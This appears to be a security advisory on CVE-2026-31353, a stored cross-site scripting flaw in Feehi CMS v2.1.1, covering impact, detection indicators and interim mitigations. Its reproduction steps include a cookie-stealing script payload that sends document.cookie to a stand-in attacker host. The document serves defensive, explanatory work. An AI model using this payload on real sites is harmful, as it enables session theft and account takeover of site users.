CVE-2026-31353: 
PHP vulnerability analysis and mitigation

CVE-2026-31353 is an authenticated stored cross-site scripting (XSS) vulnerability in the Category module of Feehi CMS v2.1.1. It allows low-privileged authenticated attackers to inject arbitrary web scripts or HTML via the category Name parameter, which then executes in the browsers of other users who view the affected content. The vulnerability was first reported on February 9, 2026, and published to the NVD and GitHub Advisory Database on April 6, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory).

The root cause is improper neutralization of user-controllable input in the Category module's Name parameter before it is rendered in web pages served to other users (CWE-79). Because Feehi CMS v2.1.1 lacks adequate sanitization or output encoding for category names, a crafted XSS payload stored in this field persists in the database and is reflected across multiple locations — including the home page, article listings, and category pages — wherever the category name is displayed. Exploitation requires network access, low privileges (an authenticated account capable of creating categories), and user interaction (a victim must visit a page rendering the malicious category name). A public proof-of-concept with step-by-step reproduction steps is available on GitHub (GitHub Issue #84).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of any user — including administrators — who views pages containing the malicious category. This can lead to session cookie theft, account takeover, unauthorized actions performed on behalf of victims, and modification of page content. Because the payload is stored and rendered across multiple high-traffic pages (home page, article listings, category pages), the blast radius extends to all site visitors, not just administrators (Github Advisory, GitHub Issue #84).

A public proof-of-concept exploit is available on GitHub, consisting of a clear step-by-step reproduction guide demonstrating how to trigger the stored XSS on a live Feehi CMS instance (GitHub Issue #84). There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.018% (0.000180), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Authenticate: Log in to the Feehi CMS backend with any low-privileged account that has permission to create or manage categories.
2. Create a malicious category: Navigate to the Category module and create a new category, injecting an XSS payload into the Name field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Associate the category with an article: Create a new article and assign it the malicious category, ensuring the category name is rendered on public-facing pages.
4. Trigger execution: When any user (including administrators) visits the home page, article listing, or category pages where the malicious category name is displayed, the injected script executes in their browser.
5. Harvest results: The attacker's server receives the victim's session cookie or other sensitive data, enabling session hijacking or account takeover (GitHub Issue #84).

• Logs: Web server access logs showing POST requests to the category creation or update endpoint (e.g., /admin/category/create or /admin/category/update) containing HTML/JavaScript tags or encoded script payloads in the name parameter.
• Database: Category records in the CMS database where the name field contains <script>, onerror=, javascript:, or other XSS indicators.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting category or article pages, potentially carrying cookie or session data as query parameters.
• Logs: Browser-side console errors or CSP violation reports triggered by unexpected script execution on category-related pages.

The GitHub Advisory Database lists the affected version as = 2.1.1 with no patched version currently specified, meaning no official vendor patch has been released as of the advisory date (Github Advisory). As interim mitigations, administrators should implement strict input validation and output encoding for the Category Name parameter, enforce a Content Security Policy (CSP) header to restrict inline script execution, and apply the principle of least privilege to limit which accounts can create or modify categories. Monitoring for unusual category name content and restricting backend access to trusted users are also recommended until an official patch is available.